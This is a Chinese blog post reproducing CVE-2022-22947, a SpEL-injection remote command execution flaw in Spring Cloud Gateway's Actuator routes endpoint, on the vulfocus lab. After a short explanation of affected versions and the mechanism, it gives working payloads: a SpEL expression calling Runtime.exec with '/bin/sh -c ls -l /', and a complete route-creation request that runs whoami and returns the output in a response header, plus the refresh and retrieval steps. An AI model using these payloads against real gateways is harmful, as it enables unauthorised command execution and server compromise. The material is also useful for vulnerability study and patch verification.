spring 命令执行 (CVE-2022-22947)

原文地址
Spring Cloud Gateway 是 Spring Cloud 下的一个项目,该项目是基于 Spring 5.0、Spring Boot 2.0 和 Project Reactor 等技术开发的网关,它旨在为微服务架构提供一种简单有效、统一的 API 路由管理方式。

影响范围

Spring Cloud Gateway 3.1.x < 3.1.1

Spring Cloud Gateway 3.0.x < 3.0.7

原理

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。

Spring cloud GateWay的actuator相关端点:

  • 获取所有路由:Get请求:http://localhost:xxxx/actuator/gateway/routes/

  • 添加路由:POST请求:http://localhost:xxxx/actuator/gateway/routes/路由编号

  • 删除路由:DELETE请求:http://localhost:xxxx/actuator/gateway/routes/路由编号

  • 获取指定路由:GET请求:http://localhost:xxxx/actuator/gateway/routes/路由编号

  • 刷新路由:POST请求:http://localhost:xxxx/actuator/gateway/refresh

    其中,调用添加路由的端点时,可以向路由中加入filters,过滤器的值允许为spEL表达式,且会解析这个spEL表达式。可以通过构造spEL进行远程命令执行。构造的filters可以直接利用gateway自带的AddResponseHeader,将spEL的执行结果添加到响应头中,直接通过响应头进行查看。

复现

利用vulfocus在线靶场来进行漏洞复现 靶场地址

构造payload

id 字段指定新路由的名称,必须全局唯一;
filters字段给这条路由指定若干个过滤器。过滤器用于对请求和响应进行修改;
name 字段指定要添加的过滤器,这里添加了一个 AddResponseHeader 过滤器,用于 gateway 给客户端返回响应之前添加一个响应头;
args.name 字段指定要添加的响应头;
args.value 字段指定响应头的值。这里的值是要执行的 SPEL 表达式,用于执行 “任意例如whoami” 命令。注意需要将命令输出结尾的换行符去掉,否则过滤器执行时会抛出异常说「响应头的值不能以 \r 或 \n 结尾」;
uri 字段指定将客户端请求转发到 http://example.com。
payload示例
{
  "id": "----自定义一个路由id--------",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "--------此处构造spEL-------------"
    }
  }],
  "uri": "http://localhost:8088------随意写个地址",
  "predicates": ["Path=/aaa/**--------随意写个匹配规则"]
}

步骤:

  1. 按照上面的示例payload,通过构造spEL,在spEL中使用 Runtime 类执行命令。
  2. 调用刷新路由的端点,刷新gateway中的路由
  3. 调用获取指定路由的端点,使路由的spEL表达式被解析执行

因为 filters 中的value类型为字符串,所以如果想在获取指定路由时,通过响应看到命令执行结果,那么可以将spEL表达式通过new String(xxxxx)构造成返回String字符串的返回值。
例如:#{new String(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\", \"ls -l /"}).toString())}

POST /actuator/gateway/routes/test
{
      "id": "test",
      "filters": [{
                   "name": "AddResponseHeader",
                           "args": {
                                    "name": "Result",
                                    "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
                                   }
                 }],
      "uri": "http://example.com"
}

发送到返回包 repeater

POST /actuator/gateway/refresh

GET /actuator/env

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值